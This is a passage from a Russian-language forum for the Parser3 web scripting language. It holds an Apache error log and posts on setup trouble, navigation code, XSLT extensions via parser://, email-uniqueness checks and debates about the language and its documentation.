httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
[Thu Mar 20 16:59:16 2003] [notice] Apache/2.2.8 (Win32) configured -- resuming normal operations\
[Thu Mar 20 16:59:16 2003] [notice] Server built: Jan 18 2008 00:37:19\
[Thu Mar 20 16:59:16 2003] [notice] Parent: Created child process 3244\
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
[Thu Mar 20 16:59:16 2003] [notice] Child 3244: Child process is running\
[Thu Mar 20 16:59:16 2003] [notice] Child 3244: Acquired the start mutex.\
[Thu Mar 20 16:59:16 2003] [notice] Child 3244: Starting 64 worker threads.\
[Thu Mar 20 16:59:16 2003] [notice] Child 3244: Starting thread to listen on port 80.\
[Thu Mar 20 16:59:47 2003] [error] [client 127.0.0.1] [Thu Mar 20 16:59:47 2003] [3960] Parser/3.2.2b (compiled on i386-pc-win32) [no request info]\
[Thu Mar 20 16:59:51 2003] [error] [client 127.0.0.1] [Thu Mar 20 16:59:51 2003] [4020] Parser/3.2.2b (compiled on i386-pc-win32) [no request info]\
[Thu Mar 20 17:00:08 2003] [notice] Parent: Received restart signal -- Restarting the server.\
[Thu Mar 20 17:00:08 2003] [notice] Child 3244: Exit event signaled. Child process is ending.\
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
[Thu Mar 20 17:00:08 2003] [notice] Apache/2.2.8 (Win32) configured -- resuming normal operations\
[Thu Mar 20 17:00:08 2003] [notice] Server built: Jan 18 2008 00:37:19\
[Thu Mar 20 17:00:08 2003] [notice] Parent: Created child process 3456\
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
httpd.exe: Could not reliably determine the server's fully qualified domain name, using 10.26.230.197 for ServerName\
[Thu Mar 20 17:00:08 2003] [notice] Child 3456: Child process is running\
[Thu Mar 20 17:00:09 2003] [notice] Child 3244: Released the start mutex\
[Thu Mar 20 17:00:09 2003] [notice] Child 3456: Acquired the start mutex.\
[Thu Mar 20 17:00:09 2003] [notice] Child 3456: Starting 64 worker threads.\
[Thu Mar 20 17:00:09 2003] [notice] Child 3456: Starting thread to listen on port 80.\
[Thu Mar 20 17:00:10 2003] [notice] Child 3244: All worker threads have exited.\
[Thu Mar 20 17:00:10 2003] [notice] Child 3244: Child process is exiting\
[Thu Mar 20 17:00:12 2003] [error] [client 127.0.0.1] [Thu Mar 20 17:00:12 2003] [784] Parser/3.2.2b (compiled on i386-pc-win32) [no request info]\
[Thu Mar 20 17:00:14 2003] [error] [client 127.0.0.1] [Thu Mar 20 17:00:14 2003] [968] Parser/3.2.2b (compiled on i386-pc-win32) [no request info]\
[Thu Mar 20 17:00:15 2003] [error] [client 127.0.0.1] [Thu Mar 20 17:00:15 2003] [3868] Parser/3.2.2b (compiled on i386-pc-win32) [no request info]\
[Thu Mar 20 17:00:31 2003] [error] [client 127.0.0.1] [Thu Mar 20 17:00:31 2003] [472] Parser/3.2.2b (compiled on i386-pc-win32) [no request info]\
\
\
В CMD что прописывать надо?\
\
Паралельно стоит швейцарский нож и Denwer, но я их отключил.\
\
НТТP 500 - внутренняя ошибка"
"65341","видите последние строки:\
[quot]\
[Thu Mar 20 17:00:31 2003] [error] [client 127.0.0.1] [Thu Mar 20 17:00:31 2003] [472] Parser/3.2.2b (compiled on i386-pc-win32) [no request info]\
[/quot]\
?\
\
они означают, что парсер у вас работает. надо отключить в вашем IE \"friendly\" mesages чтобы увидеть это (об этом есть в FAQ).\
\
я имел в виду не написать cmd файл, а запустить cmd, сделать cd в нужную вам директорию и запустить parser3.exe. но это можно не делать, т.к. из лога видно что парсер работает.\
\
P.S. то, что вы пишите -- воспринимают буквально, а не пытаются гадать что-жы вы сделали на самом деле."
"65344","Каждый использует, то чем способен овладеть. Никто не запрещает использовать наравне с Парсером и остальные технологии.\
Нельзя сделать все с помощью одного инструмента. (по аналогии молотком ведь никто не станет гайки крутить ))) )\
\
осваивайте синтез инструментов, ведь никто не лишал хостинги поддержки Перл и PHP (причем за те же деньги)"
"65345","Спасибо, Миша, работает."
"65346","... прост, удобен, надежен в принципе - за это многим и нравится.\
Для решения определнного круга задач вполне подходит, и его возможностей вполне хватает. Иногда даже более чем. В неоычном синтаксисе и в простом переопределнии методов его и прелесть.\
Проблема может возникнуть скорее из-за другого - рано или поздно могут появится новые версии операционок и баз данных, на которые хостеры будут переходить медленно, но верно. И вполне вероятно, что текущие версии парсера могут стать не совместимы с ними (ну это скорее утверждение на уровне гипотезы).\
Сообщество программистов на парсер, это на 90-95% сообщество чисто прикладных программистов, которые никогда не заглядывали в исходники парсера и думаю заглядывать туда не будут. И это нормально! Конечно, сейчас развивает большей часть парсер наверное только PAF, за что ему отдельное огромное спасибо."
"65347","когда к нам обращались с формулировкой\
[quote]соберите, пожалуйста, под такую-то платформу [точное описание платформы][/quote]\
мы собирали и выкладывали в parser2.../download (пример: Ctrl+F 2006).\
попробуйте написать лично Мише?"
"65348","в списке процессов что происходит на момент \"повесил\"?"
"65349","нам пока не нужно было.\
\
вариант:\
1. один раз экспортировать таблицы из access в текстовые файлы\
2. подлинковать их в access\
3. подготовить запросы, копирующие из основой таблицы в линк (подвязанный к тестовому файлу)\
4. сделать одну кнопку, стартующую все запросы\
5. регулярно выкладывать текстовые файлы на сервер (можно тоже автоматизировать)\
\
на сервере работать с текстовыми файлами."
"65350","httpd.exe невозможно завершить с помощью диспетчера задач, потом \
сам процесс пропадает, а сервер не может перезапуститься."
"65352","но вам не подойдёт: http://web-tech.livejournal.com/3061.html"
"65366",">ИМХО, вы ждете от Парсера, чего-то такого, для чего он не предназначался.\
\
Я жду от Парсера в первую очередь гибкости (и возможностей для оптимизации кода). А ее, увы, нет."
"65369","\"Синтез инструментов\" (какое хитрое словосочетание) - это замечательно. Но пока я лично вижу Parser лишь в качестве простейшего шаблонизатора; писать что-либо серьезное на P3 я бы не стал [и другим бы не порекомендовал]."
"65370","Удалять обоснованные и нормальные сообщения из форума — низко."
"65371","любые безосновательные заявления -- тоже.\
\
не нравится? идите обсуждать это в любом другом месте."
"65372","Мне не понятно как сделать навигацию страниц, новости, контакты итд. Главная страница загружается с навигацией, работает. Во втором уроке сказано \
\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br /> \
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"center\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
} \
\
\
функциональность модуля существенно возросла, и по идее мы сейчас находимся на главной ссылка ГЛАВНАЯ не должна подчеркиваться, а она подчеркивается.\
\
Как сделать следующую страницу, например раздел содержащий статический текст?\
\
Я, например делаю так, создаю папку в корневом каталоге сайта, а в ней создаю auto.p и index.html, затем в index.html вставляю ^navigation[], потом проверяю через броузер, а тат ссылки такого вида localhost/news (на главной) , localhost/news/news (когда наводишь указатель на ссылку news (на странице новости)\
\
Подcкажите, как правильно делать?"
"65374","По-моему Парсер весьма перспективный проект\
Только в процессе развития (Если такое будет), надо помнить одно:\
[quote]«PARSER — это средство скриптования сайтов, оптимизирующее процесс создания новых проектов, а также значительно сокращающее время разработки и затраты на поддержку.\
Обновление дизайна страниц из тяжелой рутины может превратиться в простую и приятную работу. Изменения структуры и функциональности сайта уже не будут пугать вас». \
 \
Константин Моршнев\
автор технологии PARSER \
[/quote]\
Это значит то, что НЕ НАДО бежать за функционалом, догонять PHP и CGI/Perl.\
Надо развивать Парсер именно как [b][i]простой[/i][/b], понятный, легкий, удобный\
Оставить \"гонку технологий\" другим проектам, а сами работайте с вашем целевой аудиторией"
"65375","если есть, то сначала проделайте действия из buildall-without-xml, кроме строки configure (и дальше).\
если что-то не выкачивается на месте, заранее выкачайте на своей рабочей машине.\
\
потом попробуйте сделать configure (см. buildall-without-xml)\
\
я вижу, что configure тщательно ищет хоть какой-то компилятор\
[code]\
if test -z \"$CXX\"; then\
  ac_ct_CXX=$CXX\
  for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC\
do\
[/code]\
среди прочих \"cpp\" нет, но его легко указать:\
[code]\
./configure --help\
...\
Some influential environment variables:\
  CXX         C++ compiler command\
...\
[/code]\
\
т.е.\
[code]\
CXX=cpp ./configure ...\
[/code]"
"65376","поэтому и написали документацию, чтобы на него ответить."
"65377","А я не сказал, что мне не нравится. Мне даже очень нравится. Я собсно юзаю по полной и оч доволен. Я высказал своё мнение и примешал чужое, о чём написал. Всё же сравнивать, согласитесь, Java и Parser — это не холивар..."
"65378","я делал для записи в файл.\
было очень нужно хитро преобразовывать данные из sql сервера A в B (разные движки, oracle<->mysql), и формат .sql придумался как наиболее простой-для-объяснения-удалённому-админу-с-неизвестной-подготовкой  форматом.\
\
кто имел дело с oracle.exp/dump, знает, что формат файла от одной версии oracle к другой [b]изменяется[/b] так, что даже на a.b.c._d_ изменение бывает фатально (дамп просто не импортируется).\
\
почему нужно соединение: так придумалось, как наиболее очевидный способ \"в контексте соединения\".\
\
причём вы напрасно иронизируете, что оно не очень нужно.\
здесь мы вынуждены были предвидеть будущее: ведь никто не знает, каким боком это решение выйдет при написании драйвера под экзотический сервер.\
\
свежий пример: в последних версиях mysql API соответствующая рекомендуемая авторами функция уже требует соединения, что-то там авторы про кодировки брешут, не вникал пока.\
т.е. ход не был напрасным."
"65380","может код? (я торможу к концу недели)\
\
выстрел в темноту:\
когда мы делали экспорт из mysql в oracle в .sql формате, я решал презабавный вопрос \"а как же записать туда иконки\", которые в том проекте судьба занесла в blob.\
\
несчастный file.sql-string в oracle = малоосмысленный бред.\
\
тут нужны $.bind с иным типом, чем varchar\
а parser драйвер oracle умеет только varchar (пока нам ни в одном проекте, где используем parser, не нужно было манипуляций бинарными данными в blob'ах).\
http://www.parser.ru/forum/?id=63047\
\
[i]тут нет противоречия с вышесказанным, перенос данных делался на parser3, работа с ними в oracle делалась в imprimatur2[/i]\
\
как именно решалась проблема, кому будет интересно, спрашивайте, поищу в архиве."
"65381","почитайте FAQ"
"65382","плюсы:\
\
задача: база данных клиента динамически изменяется и своевременно синхронизировать её с базой на хостинге по разным причинам трудно.\
\
вариант решения: не держать базу данных на хостинге вообще, а делать запросы к веб-сервису, находящемуся у клиента.\
API веб-сервиса жёстко ограничен, IP клиента прибит гвоздём = вероятность хакерской или DOS атаки снижена.\
для комфорта посетителя на разумное время кэшируем ответы веб-сервиса.\
\
минусы:\
\
зависим от качества каналов к машинам клиента.\
скажем, вот тут сейчас канал явно лежит\
http://www.vredestein.ru/catalogue/choose/"
"65384","попробуйте набросать задачи, что хотите решить.\
слово \"версионность\" само по себе мутновато."
"65385","есть odbc инфраструктура под ряд *nix, и написать драйвер — дело двух-трёх вечеров.\
\
этот вопрос всплывает время от времени, но видимо нужно не очень, поскольку никто пока не написал."
"65386","Вот уже думал, что баг не повториться :-)\
Но через час работы, после очередного нажатия F5 завис httpd.exe, parser3.exe среди процессов не было.\
\
httpd.exe отказывается завершаться через диспетчер задач."
"65387","Товарищи, предлагаю обсудить вопрос XSLT-расширений в Парсере.\
\
Сейчас есть такая штука как [url=http://www.parser.ru/docs/lang/xdocparserprot.htm]parser://[/url], которая позволяет делать любопытные вещи.\
А именно, расширить функционал XSL и XPath функциями Парсера.\
К сожалению, в задачи подобного вызова не входило что-то сложнее передачи строки.\
В результате, сделать мало-мальски серьёзное таким образом не получится.\
Однако, даже тривиальное применение демонстрирует всю мощь механизма расширений.\
\
Можно сгенерировать случайное значение, идентификатор, отформатировать дату и сделать массу других приятных мелочей, реализовать которые средствами XSL затруднительно или, вовсе, невозможно.\
При этом, вызовы пойдут Парсеру прямо во время трансформации, что позволяет делать множество ресурсоёмких вещей.\
Но, к ограничению на передачу строки, укладывающууюся в требование к URL и именованию методов/переменных Парсера, добавляется ограничение на вызов метода класса MAIN, что не всегда удобно.\
\
Обработать же, к примеру, BASE64 закодированные данные в теле документа вообще не представляется возможным, передав значение в метод.\
Только обходными путями.\
\
Сама идеология расширений штука отличная, и уже нашедшая реализацию в других языках.\
\
Что предлагаю сделать.\
Реализовать ассоциацию некоторых пространств имён с вызовом методов классов и передачу им параметров.\
В итоге, получить механизм расширений, напоминающий [url=http://xml.apache.org/xalan-j/extensions.html]оный в Java[/url].\
\
Т.е. обработка узла с заданным пространсвом имён приведёт к вызову метода класса (с возможным созданием объекта или статическим вызовом) и передаче значения методу.\
\
Библиотека LibXSL, используемая в Паресере, поддерживает расширения, и [url=http://xmlsoft.org/XSLT/extensions.html#Registerin1]реализация возможна[/url] (со слов воспринимающих исходники людей, к которым я не отношусь).\
\
Как резонно заметил PAF в письме, можно для начала остановиться на string и node-типах данных, которые будут передаваться методу.\
\
Sumo согласился помочь с попыткой реализации подобного механизма.\
\
Если у кого есть мысли, замечания и предложения по существу — было бы любопытно послушать.\
Если кто реально работал с расширениями в Java или [url=http://weblogs.asp.net/guys/archive/2005/01/01/345257.aspx]C#[/url], к вам огромная просьба изложить реальные возможности и возможные недостатки тамошней реализации."
"65391",")) Сайт чаще всего и представляет собой вывод информации пользователю согласно шаблона.\
\
Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.\
\
Язык специально спроектирован и оптимизирован для того, чтобы было удобно создавать хорошие сайты."
"65398",">Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.\
Не обманывайте себя) \"Простой смертный\" не сможет создать сложный динамический сайт хотя бы из-за того, что создание действительно сложного проекта подразумевает не только кодинг, а еще и грамотное проектирование.\
\
>Язык специально спроектирован и оптимизирован для того, чтобы было удобно создавать хорошие сайты.\
Плохие на нем будет создавать неудобно? :-)"
"65400","[quote]Но пока я лично вижу Parser лишь в качестве простейшего шаблонизатора; писать что-либо серьезное на P3 я бы не стал [и другим бы не порекомендовал].[/quote]\
\
Что вы понимаете под \"серьезностью\"?\
Мне правда  интересно, потому что почти все, что _лично мне_ было нужно при реализации проектов парсер позволял делать. За исключением разве что некоторых технологических проблем, которые решаются подключением сторонних утилит (типа nconvert).\
\
Хотелось бы знать ваш опыт при работе с проектами где вы наткнулись на невозможноть использования парсера в связи с  \"серьезностью\" проекта. И в чем заключалась проблема.\
\
Эта информация важна для тех кто на эти проблемы еще не наткнулся.\
\
А?"
"65403","Под \"серьезным\" я понимаю ПО, рассчитанное на высокие нагрузки и с достаточно нетривиальной логикой.\
\
Я бы, однозначно, не стал писать на P3 приложения, рассчитанные на высокие нагрузки - это самое главное.\
\
Пример того, что я писал с использованием ASP.NET / C# и никогда бы не стал писать на P3: контекстный рекламный брокер (проект относительно известный, ссылку давать не буду).\
\
Б."
"65407","файлы.\
динамика в .html"
"65409","Хотя считаю, что реализовать данную вещь это \"тема\"! ;-)"
"65410","А можно посмотреть примеры использования этой возможности:\
\
[code]parser://метод/параметр. Чтение XML из произвольного источника[/code]\
\
Чтобы было лучше понятно о чем идет речь.\
\
Ну и примеры как должно быть (естественно на парсере). Тоже хотелось бы посмотреть."
"65411","Он позволяет понять, как оно работает.\
\
Также, PAF приводил [url=http://www.parser.ru/forum/?id=46114]пример форматирования даты[/url]."
"65412","[quote]В документации есть пример\
Он позволяет понять, как оно работает.[/quote]\
\
Да, есть. Но пример странный. Там предлагают хранить файлы (в частности XSL-шаблоны) внутри базы данных. Хотя файлы хранить удобней на диске.\
\
Но это не важно. Я бы хотел более реальный пример. Ибо применение этой возможности сам пока не придумал.\
\
Кстати, вот до этого:\
\
[code]<xsl:value-of select=\"document(concat('parser://covertDate/%d%m%y/', inputXPath))\"/>[/code]\
\
исходя из документации, по-мойму довольно сложно додуматься. Странно что в документации это не описано.\
\
Итак, я хотел бы посмотреть как вы используете эту возможность. Реальные примеры. Если не секрет."
"65414","Додуматься до вызова вполне возможно: идёт вызов внешнего документа.\
Об этом в документации написано.\
А как путь к документу формируется — дело десятое, в данном случае, это конкатенция.\
\
В документации упор сделан на хранение шаблонов в БД, т.к. для этого parser:// и задумывался, с небольшими вариациями.\
Пока подобный функционал позволяет лишь поэкспериментировать и прикинуть реальные возможности.\
\
Я делал разные вещи, в качестве эксперимента:\
1. upper/lower строки\
2. random\
3. node-set\
4. обработка и сохранение BASE64-картинок в XML-представлении вордового документа.\
\
Кроме 3 пункта сделал все, но с органиченным функционалом, т.к. немедленно упёрся в органичения URL и символов имён методов/параметров.\
Эти эксперименты показали, что для самых, казалось бы, тривиальных вещей типа upper/lower нужно писать громоздкие обёртки, как с отсылающей строны (на XSL), так и с принимающей («разбиратор» пришедшего на Парсере).\
\
Вариант с BASE64 вообще практически нереализуемый передачей строки, там пришлось передать некий «указатель» (путь до узла, имя и значения уникального атрибута) и потом DOM-методами разбирать обрабатываемый документ, выуживая узел и его энкоденное значение.\
Оно работает, но только в тестовых условиях и совсем неэлегантно.\
Node-set по сложности реализации примерно сопоставим с BASE64.\
Только random — простой, т.к. принимает на вход число и отдаёт число, без хитростей.\
\
Эти сложности и заставили поднять вопрос о полноценных расширениях.\
\
Код не привожу, т.к. он тестовый и особого смысла показывать его не вижу.\
\
Речь не о том как исхитриться и заставить работать сложные вещи с применением ограничений parser://, а о том, что ограничения нужно убирать, дабы открылось простраство для манёвра.\
\
Если получится задуманное реализовать можно будет статейку-пример написать, но это потом."
"65415","ТРебуется помощь консультанта. Написать скрипт для автоматического обновления списков. Или предоставить уже готовый. Проект на парсере. Если это возможно, порекомендуйте человека.\
\
ICQ UIN 44853645"
"65417","штука parser:// делалась для такого, чего в принципе невозможно было реализовать без неё.\
\
я сам к xsl отношусь не как к ещё одному \"языку\", с помощью которого можно сделать как можно больше всего, а к трансформеру, работающему на последней стадии обработки запроса пользователя и формированию окончательного html. в этой концепции никаких upper/lower/random/base64 мне не требуется. хотя моё мнение тут не особо котируется: я не пишу xsl, и возможно просто не знаком с потребностями. конкретно по пунктам мы с тобой уже говорили, и моё мнение такого: upper/lower/base64 не нужны для \
нашего применения xsl с принципе, random иногда может потребоваться, но его использование почти автоматически означает отключение кеширования, что для нас не приемлемо, поэтому подобное мы решаем иначе.\
\
кроме того, имея и Imp1 и Imp2 мы стараемся не использовать сильно специфические вещи в xsl, чтобы иметь возможность делать copy/paste кусков xsl-я с одного проекта в другой. в этом ключе подобные расширения могут быть даже вредны %-)\
\
\
твоя задача иная: ты используешь xsl для разбора пришедших данных (xml сохранённый из Word-а), чтобы предобработать их и поместить в БД уже очищенное. тут работа с base64 мне видится достаточно логичной. \
\
с текущей реализацией (передача xpath в парсер с использованием parser://) это реализовать можно, но... да, получается несколько не через то место.\
\
\
как ты уже описал, в используемых нами xml/xsl библиотеках есть возможность добавить расширения. насколько это сложно я сказать не могу (на первый взгляд кажется не очень сложным), но в свете вышеописанного могу сказать следующее:\
- нам это на данном этапе не требуется, поэтому я работаю над другими нововведениями (если короче: \"приму patch\");\
- если кто-то будет это приделывать, то считаю что реализация в xml должна быть синтаксически такой-же, как например в java (используем готовый интерфейс велосипеда, не придумываем свой).\
\
\
P.S. на передачу string imho можно положить болт, из node string всегда можно достать, node в dom -- есть гуд."
"65418","Обновления откуда?"
"65420","Select. Ajax"
"65421","Данные же из БД летят."
"65424","... а точнее, продуктивно работать на парсере (хотя может, я чего и недопонимаю, но, простите уж, тут скорее не моя вина, а авторов документации)...\
\
1) Невозможность выполнения из кода парсера мускульных команд типа DESCRIBE.\
2) Невозможность передачи кода {} в переменных класса.\
3) Документация в положении \"к лесу передом\"\
\
Может быть, у кого есть какие решения?"
"65425","Всем спасибо. Скрипт найдет. :)"
"65426","[quote]\
1) Невозможность выполнения из кода парсера мускульных команд типа DESCRIBE.\
[/quote]\
\
Глупость какая.\
В чём именно «невозможность»?\
\
[quote]\
2) Невозможность передачи кода {} в переменных класса.\
[/quote]\
\
Обращение к juction вызвает её исполнение.\
Передавайте как строку свой код, а где нужно выполняйте.\
Что мешает?\
\
[quote]3) Документация в положении \"к лесу передом\"[/quote]\
\
Может вы её читаете задом наперёд?..\
\
[quote]хотя может, я чего и недопонимаю, но, простите уж, тут скорее не моя вина, а авторов документации[/quote]\
\
Если вы чего-то недопонимаете, а это налицо, то это исключительно ваша вина.\
Авторы документации лично вам, как я понимаю, на дому за деньги ведь ничего не разъясняли?.."
"65427","1. [code]$tDesc[^table::sql{DESCRIBE таблица}][/code] и затем работаете с полученной таблицей.\
\
2. передаётся как и должно передаваться везде. выполняется, очевидно в контексте определения. это junction, а не строка с кодом, который надо выполнить где-то ещё. если нужно последнее -- передавайте строку и process вам в руки.\
\
3. берётесь переписать, чтобы она была более user friendly? или хотя бы указать на откровенные недостатки/косяки (кроме раздела про taint, который уже переписан и скоро будет заменён)?"
"65428","Большое спасибо, Миша!\
1) Пробовал, не хотело работать. Попробую еще раз...\
2) Все это понятно, но не с первого раза...\
3) Очень мало примеров в самой документации..."
"65429","отличная шутка. там почти на каждой странице есть пример, а то и не один... просто начинаем кликать по страницам документации и смотрим. или как в анекдоте: \"чукча не читатель, чукча писатель\"?\
\
\
предложение из предыдущего моего поста остаётся в силе: берётесь доработать документацию? или хотя бы берётесь запостить к разделам, где вы считаете необходимы примеры собственно сами примеры (не поверите, но к документации уже очень давно можно добавлять комментарии)?"
"65430","Да, все мы читали... Примеры есть, конечно, \"почти на каждой странице\", но быстрому пониманию и освоению материала такие примеры слабо помогают...\
Например, http://www.parser.ru/docs/lang/params.htm\
Здесь можно было бы рассказать про передачу параметров методам в виде хеша:\
\
^method[\
        $.key[value]\
         ...\
        ]\
\
И про возможную их обработку, например, в конструкторе класса:\
\
@method[hOptions]\
 ^if($hOptions is hash){\
  ^hOptions.foreach[Key;Value]{\
   $$Key[$Value]\
   }\
  }{}\
\
Конечно, это не лучший пример, но в таком духе было бы веселее..."
"65431","Спасибо еще раз.\
По 1-му пункту все работает. Уже не помню, что делал не так, но теперь все получилось!\
\
Тогда, может быть, посоветуете сразу, как вытащить комментарий столбца из MySQL на \"свет божий\"? Уж очень хочется использовать его в качестве <label> полей форм... Или, вообще, я не правильно мыслю в этом направлении?"
"65432","завис httpd, прямой связи с parser нету ;)\
уверен, разберётесь."
"65434","если вы хотите взять готовые 1 и 2 уроки и ожидаете, что третий у вас получится \"сам собой\" -- вы ошибаетесь, он не получится, и задавать тут наибанальнейшие вопросы, по которым видно что вы до этого ничего не сделали сами, и ответы на которые есть в первых двух уроках -- незачем.\
\
если вы сделате их сами, вы будете знать: что у вас в каком виде где лежит, и как выводится.\
\
если вы не понимаете разницы между <a href=\"/path/\"> и <a href=\"./path/\">, то предварительно ознакомьтесь с этими азами в документации/книжке по html (это вопрос не по парсеру, в документации парсера он не рассматривается и не будет)."
"65435","я так понял, что вы не горите желанием за это взяться.\
\
\
в документациях обычно вещи, с которыми следует ознакомиться  раньше выносятся в начало (в нашей документации это прослеживается не так явно, но всё же прослеживается). в данном случае если вы подвините мышку и кликните на один пункт выше, а именно на раздел [url=\"/docs/lang/definemethod.htm\"]Методы и определяемые пользователем операторы[/url] или ещё чуть выше, на [url=\"/docs/lang/defineclass.htm\"]Определяемые пользоватем классы и операторы[/url], то вы увидите как раз то, что хотели, а именно: передачу параметров методу (включая таблицу, класс, строку, числа, использование $result, $caller). желание видеть пример с передачей именно хеша мне не понятно: а почему не таблицы/даты/дюбого другого объекта? (однако в документации пример передачи именно хеша в качестве параметра встречается не раз, например на один пункт ниже упомянутого вами: [url=\"http://www.parser.ru/docs/lang/props.htm\"]Свойства[/url], и именно в контексте создания объекта).\
\
приведённый вами код с foreach никогда не будет добавлен в документацию, т.к. он является примером плохого подхода в программировании, ибо через совсем небольшой промежутов времени понять происхождение переменных станет невозможно (ну... можно добавить раздел \"так делать не надо\", и туда его добавить).\
\
\
желание поместить на каждую страницу документации абсолютно всё, что на ней затрагивается, мы не считаем правильным: избыточность далеко не всегда благотворно влияет на понимание (тем не менее мы помним что такое html и по возможности стараемся ставить перекрёстные ссылки в документации). от постоянного повторения одного и того-же на куче страниц сложно будет найти нужное.\
\
\
я согласен, документация несовершенна, в ней есть что улучшать. кроме неё самой можно ещё сделать tutorial, как приложение к ней или отдельный раздел, однако желающих делать это пока не видно, а лично у меня есть текущие проекты + желание что-то добелывать в самом парсере."
"65436","Нужно, к примеру, блокировать повторное использование почты. Для этого как я понимаю, следует перевести символы в один регистр, иначе адреса mail@mail.com и Mail@mail.com будут разными.\
\
Вот пример кода:\
[code]# проверяем введение мыла на корректность если введено @ то оповещаем об этом\
^if(^form:email.pos[@]>0){\
	^rem{*** проверяем мыло, если такое уже есть в базе, то оповещаем об этом ***}\
	^if($form:email eq \"$checkemail.email\"){\
	<p>Электронный адрес $checkemail.email уже используется.</p>\
	}{\
	$email[true]\
	}\
}{\
<p>Введен некорректный адрес электронной почты.</p>\
}[/code]\
\
а теперь делаем так:\
[code]# проверяем введение мыла на корректность если введено без @ то оповещаем об этом\
^if(^form:email.pos[@]>0){\
	^rem{*** проверяем мыло, если такое уже есть в базе, то оповещаем об этом ***}\
	^if(^form:email.lower[] eq \"^checkemail.email.lower[]\"){\
	<p>Электронный адрес $checkemail.email уже используется.</p>\
	}{\
	$email[true]\
	}\
}{\
<p>Введен некорректный адрес электронной почты.</p>\
}[/code]\
\
... и получаем ошибку lower undefined method\
\
как это дело можно организовать получше?"
"65437","Как получше организовать:\
\
[code]^if(^form:email.pos[@]>0)[/code]\
эта проверка мало что даёт, т.е. за корректность введённого адреса она не отвечает. Ест1ь более правильные способы проверки через RegExp. \
\
Непонятно, зачем использовать такую конструкцию\
[code]^if(^form:email.lower[] eq \"^checkemail.email.lower[]\")[/code]\
\
Проверяйте сразу в базе наличие введённого адреса. При добавлении адреса в базу делайте ему ^lower[] (лично я не люблю больших букв в адресах, имхо), а при проверке забудьте про изменение регистра и сравнивайте \"в лоб\". Будете приятно удивлены:-) Подробнее в документации по MySQL. Ведь у Вас такая БД??:-)"
"65438","объект void имеет не все методы, умеющиеся у строки. это сделано специально, чтобы не было собразна использовать конструкции, подобные вашим, т.к. они работают существенно медленнее, чем проверка на \"определённость\".\
\
в вашем случае нужно написать примерно так:\
[code]\
^if(\
	def $form:email\
	&& ^Lib:isEmail[$form:email] # правильно вам сказали что проверка на @ не достаточна\
	&& (\
		!def $checkemail.email\
		|| ^form:email.lower[] eq ^checkemail.email.lower[]\
	)\
){\
	введённый адрес коректен и не используется\
}{\
	введенный адрес не корректен или уже используется\
}\
[/code]\
\
но это плохой метод.\
\
я также не считаю, что заниматься сравнением адресов, приведённых к нижнему регистру -- хороший подход. уже упомянутый вариант проверки уникальности средствами БД мне нравится и я его использую (правда в качестве избыточного поля, unique \"индекс\" на котором занимается этим, чтобы оставлять введённый пользователем email как есть. в oracle можно и без избыточного поля, просто создать нужный constraint).\
\
в любом случае проверку на существование адреса лучше вынести в отдельный метод, и там делать всё необходимое (не забыв про удаление начальных и конечных пробельных символов). \
\
кстати эту проверку можно делать средствами mysql и без unique индексов: SELECT COUNT(*) FROM table WHERE email = '$form:email' вернёт не 0 даже если в БД есть email в другом регистре (столбец email в таблице не должен иметь флаг BINARY, посмотрите в его документации, и не забудьте про индекс для ускорения поиска)."
"65440","Без всяких уников и проверок на регистр. Даже, если хранить в поле не приведённый к нижнему регистру адрес."
"65442","Думаю, в этом топике можно умолчать о возникновении таких проблем:-) Вряд ли тут пахнет высоко-нагруженной системой."
"65443","... в случае, когда человек пишет (на свой взгляд более лаконично) VasyaPupkin@mail.com целенаправленно выделая регистрами [b]И[/b]мя и [b]Ф[/b]амилию, пожалуй лучше так и оставить...\
\
Хотя конечно такого вида как VASYAPUPKIN@MAIL.RU не хочется."
"65445","[code]# проверяем введение мыла на корректность если введено плохо то оповещаем об этом\
^if(^is_email[$form:email] == 1){\
	^rem{*** проверяем мыло, если такое уже есть в базе, то оповещаем об этом ***}\
	^if(def $checkemail.email){\
	Электронный адрес $checkemail.email уже используется\
	}{\
	$email[true]\
	}\
}{\
Введен некорректный адрес электронной почты\
}[/code]\
\
Такое неуклюжее шаманство необходимо, так как этот косок кода висит в методе и взаимодействует еще кое с чем.\
\
^is_email[] - это оператор в котором происходит злостная проверка на правильность ввода адреса, если все верно то возрощает 1, в ином случае 0\
\
А вообще наверное было бы лучше написать так (но в том методе не могу, там нужен вариант который выше):\
[code]\
^if(^is_email[$form:email] == 1 && !def $checkemail.email){\
	введённый адрес коректен и не используется\
}{\
	введенный адрес не корректен или уже используется\
}\
[/code]"
"65447","Совет: никогда не пишите такой ерунды\
[code]^if(^is_email[$form:email] == 1)[/code]\
Вы же сами написали, что проверка возвращает 0 или 1. Поэтому достаточно проверки булева значения\
^if(^is_email[$form:email])\
\
Тут есть ещё момент. Когда Вы делаете проверку в базе с сохранением результата в переменную $checkemail.email ??\
\
Это надо делать только после возврата true от первой проверки. Зачем лишний раз теребить базу??"
"65448","VasyaPupkin@mail.com -- такие адреса похожи на манию величества:-) Я бы это искоренял, если б можно было. Правильнее заводить адрес vasya.pupkin@mail.com, имхо. Но это уже риторический вопрос."
"65450","Это не всегда решает пользователь.\
у нас в организации например принята определенная адресация:\
Putin_VV@domain.ru\
\
